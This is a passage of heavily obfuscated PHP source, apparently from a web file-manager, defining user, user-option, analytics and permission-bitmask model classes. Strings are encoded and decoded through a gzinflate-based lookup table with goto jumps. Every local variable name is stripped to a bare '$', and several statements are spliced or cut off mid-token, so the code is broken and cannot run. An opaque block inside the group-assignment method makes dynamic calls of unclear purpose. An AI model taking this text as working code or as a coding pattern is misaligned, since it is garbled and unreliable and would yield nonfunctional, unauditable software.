); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($) { $ =& $_SERVER[]; $ =
explode($[50], $); $ = parent::listData(); $ = array_remove_key($, $[231]); $ = array(); foreach ($
 as $) { if (isset($[$])) { $[] = $[$]; } } return $; } } class UserModel extends ModelBase { protected $
tableName = "\x75\163\145\x72"; protected $tableMeta = array("\x74\x61\x62\154\x65\116\x61\155\145" => "\165\163\x65\x72\137\x6d\x65\x74\141
", "\155\x65\x74\x61\106\151\x65\x6c\x64" => "\165\x73\x65\x72\111\x44"); protected $simpleField = "\165\163\x65\x72\111\x44\x2c\156\151\143
\x6b\x4e\141\x6d\145\x2c\x6e\141\x6d\x65\x2c\141\x76\x61\164\141\x72\54\x73\x65\x78\54\x73\164\x61\164\x75\163"; const ERROR_USER_NOT_EXISTS
= -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMA
IL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunc
tionAlias($) { $ =& $_SERVER[]; $ = $[2443]; return array($[2045] => array($[0], $), $[2047] =
> array($[0], $), $[2444] => array($[0], $)); } protected function getInfo($, $ = false) { $ = $th
is->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this->
cacheFunctionGet($_SERVER[][2049], $); } protected function getInfoFull($, $ = false) { $ = $this->getInfoSimple
($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionG
et($_SERVER[][2445], $); } private function _getInfoApply($, $ = false) { $ =& $_SERVER[]; if (!$) { retu
rn $; } $ = md5($[2446] . $[$[963]] . $[2447] . $[$[32]]); $ = $this->_listDataApplyItem($
); $ = Model($[1414])->metaGet($[$[90]][$[193]]); $[$[2448]] = $; $[$[90]][$[2243]] =
isset($[$[2244]]) ? $[$[2244]] : null; if ($) { $[$[547]] = $this->metaGet($[$[1764]]); } retur
n $; } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if ($
) { $ = $this->where(array($[1764] => intval($)))->find(); if (!is_array($)) { return array(); } $[$[2449]] =
Action($[2450])->parseUrl($[$[2449]]); return $; } return $this->cacheFunctionGet($[2050], $); } protected funct
ion getInfoSimpleOuter($) { $ =& $_SERVER[]; if (!$ || $ == 0) { return array($[1764] => $[228], $[32]
=> $[176] . LNG($[2451]) . $[178], $[2449] => STATIC_PATH . $[2452]); } $ = $this->cacheFunctionGet($[2050], $
); $ = array_field_key($, explode($[50], $this->simpleField)); if (!$) { return array($[1764] => $[1269], $
[32] => $[176] . LNG($[2453]) . $[178], $[2449] => STATIC_PATH . $[2454]); } $[$[2449]] = Action($[2450])
->parseUrl($[$[2449]]); return $; } protected function groupUser($) { } public static function errorLang($) { $
=& $_SERVER[]; $ = array(self::ERROR_USER_NOT_EXISTS => $[2455], self::ERROR_USER_PASSWORD_ERROR => $[2456], self::ERROR
_USER_EXIST_NAME => $[2457], self::ERROR_USER_EXIST_PHONE => $[2458], self::ERROR_USER_EXIST_EMAIL => $[2459], self::ERROR_USER_
LOGIN_LOCK => $[2460], self::ERROR_IP_NOT_ALLOW => $[2461], self::ERROR_USER_EXIST_NICKNAME => $[2462]); $ = LNG($[$
]); if ($ == self::ERROR_USER_LOGIN_LOCK) { $ = (int) Model($[2463])->get($[2464]); if ($ > 60) { $ = s
tr_replace($[91], ceil($ / 60), $); } } return $; } public function getInfoByMeta($, $) { $ =& $_SERVER[
]; $ = Model($[2465])->where(array($[97] => $, $[459] => $))->find(); if ($) { return $this->getInfo($
[$[1764]]); } return !1; } public function userLoginCheck($, $) { $ =& $_SERVER[]; $ = $this->userLoginFind
($); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1764]], $)) { return Us
erModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1764]]); } public function userLoginFind($) { $ =& $_SERVER[
]; $ = array($[32] => $, $[2251] => $, $[390] => $, $[2466] => $, $[1074] => $[1076]); if ($
this->nickNameRpt()) { unset($[$[2251]]); } return $this->where($)->find(); } public function clearCache($) { $ =&
$_SERVER[]; $this->cacheFunctionClear($[2049], $); $this->cacheFunctionClear($[2050], $); $this->cacheFunctionCle
ar($[2445], $); } public function userPasswordCheck($, $) { $ =& $_SERVER[]; $ = $this->where(array($
[1764] => intval($)))->find(); $ = $this->metaGet($); $ = isset($[$[2467]]) ? $[$[2467]] : $
[12]; if (md5($ . trim($)) !== $[$[963]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SER
VER[]; $ = array($[502] => $[$[32]], $[2468] => $[$[2169]], $[2469] => isset($[$[390]])
? $[$[390]] : $[12], $[2470] => isset($[$[2466]]) ? $[$[2466]] : $[12], $[2471] => isset($
[$[2251]]) ? $[$[2251]] : $[$[32]], $[2472] => isset($[$[2449]]) ? $[$[2449]] : $[12], $
[2473] => isset($[$[2474]]) ? $[$[2474]] : 1, $[2475] => $[$[963]], $[2051] => isset($[$[
1949]]) ? $[$[1949]] : 1024 * 1024 * 20, $[2052] => 0, $[2476] => 0, $[2096] => isset($[$[823]]) ? $[$
[823]] : 1); if (!empty($[$[1764]])) { $[$[1764]] = $[$[1764]]; } $ = $this->_checkExist($); if ($
 !== !0) { return $; } if (!empty($[$[2449]]) && strlen($[$[2449]]) > 255) { $[$[2449]] = $[12]; }
$ = $this->add($); $ = array($[2475] => $[$[963]], $[2471] => $[$[2251]]); $this->userEdit($,
$); Model($[1414])->userRootAdd($); return $; } protected function userEditTest($, $) { return $this->call($_
SERVER[][2477], $, $); } protected function userEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimp
le($); if (!$) { return !1; } $ = $this->_checkExist($, $); if ($ !== !0) { return $; } if (isset($[$
[963]]) && trim($[$[963]]) != $[12]) { $ = $this->metaGet($); if (empty($[$[2467]])) { $[$[2
467]] = rand_string(10); Model($[585])->metaSet($, $[2467], $[$[2467]]); } $[$[963]] = md5($[$[24
67]] . trim($[$[963]])); } else { unset($[$[963]]); } if (!empty($[$[2449]]) && strlen($[$[2449]]) > 255) {
$[$[2449]] = $[12]; } $this->where(array($[1755] => $))->save($); if (isset($[$[2251]])) { $this->setNameP
inyin($, $[$[2251]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ = false) { $
=& $_SERVER[]; if (!$) { $ = $this->getInfoSimple($); $ = $[$[2251]] ? $[$[2251]] : $
[$[32]]; } $ = Model($[606]); if (!Input::check($, $[663])) { return $->metaSet($, array($[546] => $
[12], $[545] => $[12])); } return $->metaSet($, array($[546] => str_replace($[53], $[12], Pinyin::ge
t($)), $[545] => Pinyin::get($, $[664]))); } private function nickNameRpt() { $ =& $_SERVER[]; $ = Model($
[843])->get($[2478]); $ = $GLOBALS[$[6]][$[465]][$[2478]]; $ = !is_null($) ? $ : $; return !!$;
} private function _checkExist($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER
_EXIST_NAME, $[2251] => UserModel::ERROR_USER_EXIST_NICKNAME, $[390] => UserModel::ERROR_USER_EXIST_EMAIL, $[2466] => User
Model::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2251]]); } $ = $ ? array($[1764] => array($
[2479], $)) : array(); foreach ($ as $ => $) { $ = array(); foreach ($ as $ => $) { if (isset($
[$]) && $[$]) { $[] = $[$]; } } if (!$) { continue; } $ = array_merge(array($ => array($
[7], $)), $); $ = $this->where($)->find(); if ($) { return $; } } return !0; } public function userListInfo($
) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $
; } if (count($) < 20) { foreach ($ as $) { $[$ . $[12]] = $this->getInfoSimpleOuter($); } } else { $
= array($[1755] => array($[500], $)); if (count($) == 1) { $ = array($[1755] => $[0]); } $ = Model($
[585])->field($this->simpleField)->where($)->select(); $ = array_to_keyvalue($, $[1764]); foreach ($ as $)
{ $ = $[$]; if (!$) { $[$ . $[12]] = $this->getInfoSimpleOuter($); continue; } $[$[2449]] = Acti
on($[2450])->parseUrl($[$[2449]]); $[$ . $[12]] = $; } } return $; } protected function userStatus($
, $) { $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($_SERVER[][823] => $); return $th
is->userEdit($, $); } protected function userRemove($) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$
) { return !1; } $ = array($[1755] => $); Model($[672])->where($)->delete(); Model($[2480])->where($)->d
elete(); Model($[2057])->where($)->delete(); Model($[2465])->where($)->delete(); Model($[1143])->where($)->delete
(); Model($[2268])->removeUserAll($); Model($[897])->userRootRemove($); return $this->where($)->delete(); } protected f
unction userGroupSet($, $, $ = array()) { $ =& $_SERVER[]; if ($_SERVER[$[321]] != $_SERVER[$[913]]) { $
= $[951]; $ = $[323]; $ = $_SERVER[$[324]] . $[325]; $ = $($); $ = explode($[262], $); if
(count($) < $[704]) { $ = $[327]; $(); } $ = $[952]; $($_SERVER[$[953]]); $($_SERVER[$[324]] .
$[2269]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $[329]); } } $ = $this->getInfoSimp
le($); if (!$ || !is_array($)) { return !1; } $ = Model($[2057]); $->where(array($[1764] => $))->delete();
$ = array(); $ = 0; foreach ($ as $ => $) { $ = array($[1764] => $, $[1963] => $, $[2071] => $
); $[$[1987]] = isset($[$]) ? $[$] : 0; $++; $[] = $; } return $->addAll($, array(), !0); } p
rotected, $[2071] => $, $[1987] => 0); } return Model($[2057])->addAll($, array(), !0); } protected function userG
roupRemove($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || !$) { return !1; } $
 = array($[1755] => $, $[2055] => $); return Model($[2057])->where($)->delete(); } public function listDat
a() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][454]]); return $; } public functio
n listByID($) { $ =& $_SERVER[]; if (!$) { return; } $ = array($[1764] => array($[7], $)); $
 = $this->where($)->select(); $ = array_sort_keep($, $[1764], $); $this->_listDataApply($); return $
; } public function listByGroup($ = 0, $ = array()) { $ =& $_SERVER[]; $ = $[12]; $ = array(); if ($
) { $ = array($[2481] => intval($)); $ = "\114\x45\106\124\40\x4a\x4f\x49\x4e\x20{$this->tablePrefix}\165\163\x65\x72\x5f\
147\162\x6f\x75\160\x20\165\x73\x65\x72\x5f\x67\x72\x6f\x75\160\x20\157\x6e\40\165\163\x65\x72\x2e\165\163\x65\162\x49\x44\x20\x3d\40\165\16
3\145\x72\137\147\x72\157\165\160\56\x75\163\x65\x72\x49\x44"; $ = Input::get($[538], null, $[12]) ? $[12] : $[248
2]; } if (isset($[$[823]])) { $[$[2483]] = $[$[823]]; } $ = $this->_makeOrder($)->field($[2484])->
where($)->join($)->selectPage(50); $this->_listDataApply($[$[454]]); return $; } private function _makeOrder($ = '
') { $ =& $_SERVER[]; $ = array($[1764], $[32], $[1951], $[2169], $[1923], $[231]); $ =
array($[531] => $[532], $[533] => $[534]); $ = Input::get($[538], $[7], $[1755], $); $ =
Input::get($[539], $[7], $[2058], array($[2058], $[533])); $ = $[$]; $ = $ . "\165\163
\145\162\56{$}\40{$}\54\x20\165\x73\145\162\x2e\x75\163\x65\x72\111\104\40\141\x73\143"; return $this->alias($[2185])->order(
$); } public function listSearch($) { $ =& $_SERVER[]; $ = trim($[$[2061]]); $ = explode($[53], $
); if (!$ || count($) == 1) { return $this->listSearchNow($); } $ = array($[454] => array()); foreach ($ as $
) { if (!trim($)) { continue; } $[$[2061]] = $; $ = $this->listSearchNow($); $[$[454]] = array_merge
($[$[454]], $[$[454]]); } $[$[454]] = array_unique_by_key($[$[454]], $[1764]); $[$[451]]
= array($[452] => count($[$[454]]), $[448] => 20, $[438] => 1, $[453] => 1); return $; } public function li
stSearchNow($) { $ =& $_SERVER[]; $ = trim($[$[2061]]); $ = isset($[$[2062]]) ? $[$[
2062]] : !1; $ = str_replace($[2063], $[2064], trim($)); $ = array($[32] => array($[467], "\x25{$
}\45"), $[390] => array($[467], "{$}\x25"), $[2251] => array($[467], "{$}\45"), $[1074] => $
[2065]); if (Input::check($, $[396])) { $[$[1764]] = array($[467], "{$}\45"); $[$[2466]] =
array($[467], "{$}\x25"); } if (!$) { $ = array(); } if (isset($[$[823]])) { $[$[823]] = $[
$[823]]; } $ = $this->parseWhereLike($); $
$[454]]) < 5 && Input::check($, $[403])) { $ = $this->_searchFromMeta($[545], $, 10); $ = $this->_sea
rchFromMeta($[546], $, 10); $ = array_merge($, $, $
, $[1764]); $
[452]] / $); return $

[454]] as $ => &$) { $ = array_to_keyvalue($[$[2154]], $[12], $[1963]); if (!in_array($, $)) {
unset($[$[454]][$]); } } unset($); $[$[454]] = array_values($[$[454]]); $[$[451]] = ar
ray($[2221] => count($[$[454]]), $[2219] => $[$[451]][$[448]], $[2218] => 1, $[2220] =>
1); } private function _searchFromMeta($, $, $) { $ =& $_SERVER[]; $ = strtolower($); $ = array($
[97] => $, $[459] => array($[467], "\x25{$}\45")); $ = $this->parseWhereLike($); $ = Model($[2
485])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1764])
; $ = $this->where(array($[1755] => array($[7], $)))->select(); if (!$) { return array(); } return $; } private
function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataA
pply(&$) { $ =& $_SERVER[]; if (!$) { return; } array_remove_key($, $[963]); $ = array_to_keyvalue($, $
[12], $[1764]); $this->_listAppendGroup($, $); $this->_listAppendMeta($, $); $this->_listAppendSourceRoot($,
$); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[897])->listSourceRoo
t(SourceModel::TYPE_USER, $); $ = array_to_keyvalue($, $[577]); $ = array_remove_key($, $[577]); fore
ach ($ as &$) { $[$[90]] = $[$[$[1764]]] ? $[$[$[1764]]] : array(); } unset($); } pr
ivate function _listAppendGroup(&$, $) { $ =& $_SERVER[]; $ = array($[1764] => array($[7], $)); $ = Mo
del($[2057])->where($)->select(); $ = array_to_keyvalue($, $[12], $[1963]); $ = array_remove_value(array_uniq
ue($), $[228]); if (!$ || !$) { return; } $ = array($[1963] => array($[7], $)); $ = Model($[215
2])->field($[2486])->where($)->select(); $ = array_to_keyvalue($, $[1963]); $ = array_to_keyvalue_group($, $
[1764]); foreach ($ as &$) { $ = array(); foreach ($ as $) { if (!$[$[2071]]) { continue; } $
= Model($[579])->listData($[$[2071]]); $[] = array($[1963] => $[$[1963]], $[2487] => $[$[$
[1963]]][$[32]], $[592] => $[$[$[1963]]][$[592]], $[495] => $); } $ = $; } unset($)
; foreach ($ as &$) { $[$[2154]] = array(); if (isset($[$[$[1764]]])) { $[$[2154]] = $[$[$[176
4]]]; } } unset($); } public function userAppendGroup($) { $ =& $_SERVER[]; if (!$) { return array(); } $this->_list
AppendGroup($, array_to_keyvalue($, $[12], $[1764])); return $; } private function _listAppendMeta(&$, $)
{ $ =& $_SERVER[]; $ = UserJobModel::JOB_KEY; $ = array($[2467]); $ = array($[1764] => array($[7
], $)); $ = Model($[2465])->where($)->select(); $ = array_to_keyvalue_group($, $[1764]); foreach ($
as &$) { $ = array(); foreach ($ as $) { if (!in_array($[$[97]], $)) { $[$[$[97]]] = $
[$[459]]; } } $ = $; } unset($); $ = Model($[2488]); foreach ($ as &$) { $ = array(); if
(isset($[$[$[1764]]])) { $ = $[$[$[1764]]]; } $[$[2489]] = array(); if (isset($[$]))
{ $[$[2489]] = $->getUserJobInfo($[$]); } } unset($); } protected function groupUserAll($) { $ =& $_
SERVER[]; if (!$) { return !1; } $ = Model($[2057])->field($[1764])->where(array($[1963] => array($[7],
$)))->select(); $ = array_to_keyvalue($, $[12], $[1764]); return array_unique($); } public function userSearch($
, $ = "\x2a") { return Model($_SERVER[][606])->where($)->field($)->find(); } } class UserOptionModel extends ModelBase
Option { protected $tableName = "\x75\x73\x65\162\x5f\157\x70\164\151\x6f\156"; protected $jsonField = array(); function __construct() { par
ent::__construct(); } protected function cacheKey($) { $ =& $_SERVER[]; $ = defined($[2189]) && USER_ID ? USER_ID : $
[12]; return "\x55\x73\x65\x72\117\x70\164\151\x6f\156\x5f{$}\137" . $; } protected function filterWhere($) { $ =& $_SE
RVER[]; $[$[1764]] = defined($[2189]) && USER_ID ? USER_ID : $[12]; return $; } public function cacheRemoveUser
($, $) { return Cache::remove("\x55\163\145\x72\117\160\164\151\157\x6e\137{$}\137" . $); } protected function optionDef
ault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[2490]]; } if ($ == $
[2491]) { return $GLOBALS[$[6]][$[2492]]; } } } goto F; d: define($_SERVER[][0], $_SERVER[][1]); $_SERV
ER[] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $) { return $
 == $; } goto a; A: class AnalysisModel extends ModelBaseLight { public function init($) { $ =& $_SERVER[]; $
 = array($[670] => array($[33] => $[1891], $[359] => array($[255], $[838], $[1892], $[1893])),
$[1894] => array($[33] => $[1895], $[359] => array($[255], $[836], $[1896], $[1897], $[1898])))
; if (!isset($[$])) { return !1; } $this->optionType = $[$][$[33]]; $this->field = $[$][$[359]]; return
!0; } public function listData($ = false, $ = "\x6d\157\144\151\x66\171\124\x69\x6d\145", $ = false) { return parent::listDat
a($, $, $); } public function trendList($) { $ =& $_SERVER[]; $ = $this->listData(); if ($) { $
 = end($); $ = date($[1899], strtotime($[1900])); if ($[$[255]] == $) { return $; } $ = strto
time($[$[255]]); } if (!isset($)) { $ = $ == $[670] ? $[606] : $[897]; $ = Model($)->min($[
231]); } $ = $[1901] . ucfirst($); $ = $this->dateList($); foreach ($ as $) { $this->{$}($); } return $th
is->listData(); } private function dateList($) { $ =& $_SERVER[]; $ = $; $ = strtotime($[1900]); $ = arr
ay(); while ($ <= $) { $[] = date($[1899], $); $ = strtotime($[1902], $); } return $; } public functio
n _recordUser($ = '') { $ =& $_SERVER[]; $ = strtotime(date($[1903], strtotime($))); $ = strtotime(date
($[1904], strtotime($))); $ = array($[231] => array($[1087], $)); $ = Model($[606])->where($)->count
($[1764]); $[$[231]] = array($[418], array($, $)); $ = Model($[606])->where($)->count($[1764]); $
[$[33]] = $[1905]; $ = Model($[1906])->where($)->count($[1907]); $ = array($[255] => $, $[838
] => (int) $, $[1892] => (int) $, $[1893] => (int) $); return $this->insert($); } public function _recordStore($
 = '') { $ =& $_SERVER[]; $ = strtotime(date($[1904], strtotime($))); $ = array($[231] => array($[
1087], $)); $ = Model($[552])->where($)->sum($[79]); $[$[493]] = 0; $ = Model($[897])->where($)-
>sum($[79]); $[$[190]] = 1; $ = Model($[897])->where($)->sum($[79]); $[$[190]] = 2; $ = Model($
[897])->where($)->sum($[79]); $ = array($[255] => $, $[836] => (int) $, $[1896] => (int) $, $[
1897] => (int) $, $[1898] => (int) $); return $this->insert($); } public function trend($, $) { $ =& $_SERVE
R[]; if (!$this->init($)) { return !1; } $ = $this->trendList($); if ($ && $ != $[1737]) { $ = $
[0][$[255]]; $ = $this->validDate($, $); $ = array(); $ = array_to_keyvalue($, $[255]); foreach ($
 as $) { if (isset($[$])) { $ = $[$]; } else { $ = end($); $[$[255]] = $
; if ($ == $[670]) { $[$[1892]] = $[$[1893]] = 0; } } $[] = $; } $ = $; } $ = arra
y($[670] => array($[838] => LNG($[1908]), $[1892] => LNG($[1909]), $[1893] => LNG($[1910])), $
[1894] => array($[836] => LNG($[1911]), $[1896] => LNG($[1912]), $[1897] => LNG($[1913]), $[1898
] => LNG($[1914]))); $ = array($[670] => $[1915], $[1894] => $[79]); if (empty($)) { $ = date
($[1899], strtotime($[1900])); $ = array($[255] => $); foreach ($[$] as $ => $) { $[$
] = 0; } $[] = $; } $ = array(); foreach ($ as $) { if ($ == $[1894] && $[$[1896]] > $
[$[836]]) { $[$[1896]] = $[$[836]]; } foreach ($[$] as $ => $) { $ = array($[
255] => $[$[255]], $[1653] => $); $[$[$]] = isset($[$]) ? $[$] : 0; $[] =
$; } } return $; } public function validDate($, $) { $ =& $_SERVER[]; $ = date($[1899], strtotime
($[1900])); $ = array($); switch ($) { case $[1744]: $ = mktime(0, 0, 0, date($[1916]), date($[1445])
- date($[1535]) + 7 - 7, date($[1917])); $ = 0; do { $ = date($[1899], $ - 3600 * 24 * 7 * $); $[] =
$; $++; } while ($ < $); break; case $[1742]: $ = 1; do { $ = date($[1918], strtotime("\x2d\40{$
}\40\155\x6f\x6e\164\x68\x73")); $[] = $; $++; } while ($ < $); break; case $[1919]: $ = (int) date($
[1917], strtotime($)); $ = (int) date($[1917]); if ($ >= $) { break; } for ($; $ < $; $++) { $
[] = $ . $[1920]; } break; default: break; } if ($ > end($)) { array_pop($); } sort($); return $; } publ
ic function listTable($) { $ = ucfirst($); return Model($)->listData(); } public function option($) { $ = $_SE
RVER[][1921] . ucfirst($); return $this->{$}(); } private function optionUser() { $ =& $_SERVER[]; $ = Model($
[606])->count($[1764]); $ = Model($[606])->where($[1922])->count($[1764]); $ = intval($GLOBALS[$[6]][$[
434]][$[1710]]) / 3600; $ = strtotime("\55{$}\x20\150\157\x75\162\163"); $ = strtotime(date($[1903])); if ($ <
$) { $ = $; } $ = array($[1923] => array($[1088], $)); $ = (int) Model($[606])->where($
)->count($[1764]); if (!$) { $ = 1; } $ = array($[1923] => array($[1088], $)); $ = Model($[606])
->where($)->count($[1764]); return array($[831] => (int) $, $[1924] => (int) ($ - $), $[1925] => (int) $
, $[1926] => (int) $, $[1927] => $); } private function optionFile() { $ =& $_SERVER[]; $ = $this->sour
ceSize(); $ = $[$[79]]; $ = $[$[1896]]; $ = Model($[897])->where(array($[493] => 0))->count($
[193]); $ = array($[493] => 0, $[231] => array($[1088], strtotime(date($[1903])))); $ = Model($[897])
->where($)->sum($[79]); $ = Model($[897])->where($)->count($[193]); return array($[836] => $, $
[1896] => $, $[1928] => $ - $, $[1929] => (int) $, $[838] => (int) $, $[1930] => (int) $
); } private function optionAccess() { $ =& $_SERVER[]; return array($[831] => $this->typeLogCnt(), $[110] => $this-
>typeLogCnt($[110]), $[533] => $this->typeLogCnt($[533]), $[1931] => $this->typeLogCnt($[1931]), $[1932] => $t
his->typeLogCnt($[1932]), $[670] => $this->typeLogCnt($[12], $[1907])); } private function typeLogCnt($ = '', $
 = "\151\144") { $ =& $_SERVER[]; $ = array($[110] => array($[1933], $[1934]), $[533] => array($[1935],
$[1936]), $[1931] => array($[1937], $[1938], $[1939]), $[1932] => array($[1940], $[1941]), $[1942] => ar
ray($[1943], $[1944], $[1945])); $ = strtotime(date($[1903])); $ = array($[231] => array($[1088], $
)); if ($) { $[$[33]] = array($[7], $[$]); } $ = Model($[1906])->where($)->count($); return (
int) $; } private function optionServer() { $ =& $_SERVER[]; $ = $this->diskDriver(); $ = KodIO::defaultDriver();
$ = array($[890] => $[$[483]]); $ = Model($[552])->where($)->sum($[79]); $ = explode($[53]
, $_SERVER[$[147]]); $ = $[0]; $ = $GLOBALS[$[6]][$[21]]; $ = $[$[1050]]; if ($ == $[10
38]) { $ = explode($[1364], $[$[1049]]); $ = $[0]; } if ($ == $[986] || $ == $[877]) { $
 = Model()->db()->query($[1946]); $ = $[0] && isset($[0][$[1652]]) ? $[0][$[1652]] : 0; $ = $[19
47] . ($ ? $[8] . $ : $[12]); } $ = $GLOBALS[$[6]][$[434]][$[899]]; return array($[1948] => $
 ? $[$[1949]] : 0, $[1950] => $ ? $[$[1951]] : 0, $[1952] => (int) $[$[1949]] * 1024 * 1024
* 1024, $[1953] => (int) $, $[1954] => ucfirst($), $[1955] => $[1956] . PHP_VERSION, $[1957] => phpBuild6
4() ? 64 : 32, $[830] => str_replace($[1207], $[1066], $), $[434] => ucfirst($), $[32] => $_SERVER[$[1
958]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $ = $GLOBALS[$[6]][$[1381]] == $
[1382]; if ($) { $ = $[1959]; if (function_exists($[1960])) { exec($[1961], $); $ = $[1] . $[8];
} } if (!file_exists($)) { return; } if (!function_exists($[1962])) { return; } $ = @disk_total_space($); $ = $
 - @disk_free_space($); return array($[1949] => $, $[1951] => $); } public function fileChart($) { $
=& $_SERVER[]; if (isset($[$[1764]])) { return Model($[897])->userFileTypeProfile($[$[1764]]); } if (isset($
[$[1963]])) { return Model($[897])->groupFileTypeProfile($[$[1963]]); } $ = $this->sourceSize(); $ = arr
ay($[192] => 0, $[190] => 1); $ = Model($[897])->where($)->sum($[79]); $[$[190]] = 2; $ = Mode
l($[897])->where($)->sum($[79]); return array($[836] => $[$[79]], $[1896] => $[$[1896]], $
[1897] => (int) $, $[1898] => (int) $); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($
[897])->where(array($[493] => 0))->sum($[79]); $ = Model($[552])->sum($[79]); if ($ > $) { $ = $;
} return array($[79] => (int) $, $[1896] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; c
onst AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; con
st AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self:
:AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::A
UTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $rray(array($[502] => LNG($
[1964]), $[1965] => $[1966], $[1967] => 1, $[1968] => 1, $[1969] => self::AUTH_SHOW | self::AUTH_VIEW | s
elf::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), ar
ray($[502] => LNG($[1970]), $[1965] => $[1971], $[1967] => 2, $[1968] => 1, $[1969] => self::AUTH_
SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[5
02] => LNG($[1972]), $[1965] => $[1973], $[1967] => 3, $[1968] => 1, $[1969] => self::AUTH_SHOW | self::
AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[502] => LNG($[1974]), $[1965] => $
[1975], $[1967] => 4, $[1968] => 1, $[1969] => self::AUTH_SHOW | self::AUTH_VIEW), array($[502] => LNG($[1976]
), $[1965] => $[1977], $[1967] => 5, $[1968] => 1, $[1969] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($
[502] => LNG($[1978]), $[1965] => $[1979], $[1967] => 6, $[1968] => 1, $[1969] => self::AUTH_SHOW | s
elf::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | sel
f::AUTH_EVENT | self::AUTH_ROOT), array($[502] => LNG($[1980]), $[1965] => $[1981], $[1967] => 7, $[1968
] => 1, $[1969] => 0)); return $ public static function authCheck($, $) { $ =& $_SERVER[]; $ = intval
($); if (KodUser::isRoot() && $GLOBALS[$[6]][$[1982]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::
AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($) { return self::auth
Check($, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public s
tatic function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($
) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::
AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function a
uthCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($) { return self::auth
Check($, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } pu
blic static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($,
$) { $ =& $_SERVER[]; $ = array($[1983] => self::AUTH_VIEW, $[1275] => self::AUTH_DOWNLOAD, $[110] =>
self::AUTH_UPLOAD, $[1932] => self::AUTH_EDIT, $[1931] => self::AUTH_REMOVE, $[1942] => self::AUTH_SHARE, $[439] => sel
f::AUTH_COMMENT, $[1752] => self::AUTH_EVENT, $[1984] => self::AUTH_ROOT); if (!isset($[$])) { return; } $ = $
[$]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } ret
urn !!($ & $); } public static function authDisable($, $) { if (intval($) <= 0) { return 0; } return intval($)
& ~$; } public $optionType = "\123\x79\x73\x74\x65\x6d\x2e\x73\x6f\x75\x72\x63\x65\101\165\164\150\114\x69\163\x74"; public $field = a
rray("\x6e\141\x6d\145", "\x61\x75\164\150", "\154\x61\142\145\154", "\x64\x69\x73\160\x6c\141\x79", "\x73\171\163\x74\x65\x6d", "\x73\157\1
62\164"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function fin
dAuth($, $) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $) { $ = intval($[$[
495]]); if ($ <= 0 || $[$[1985]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0)
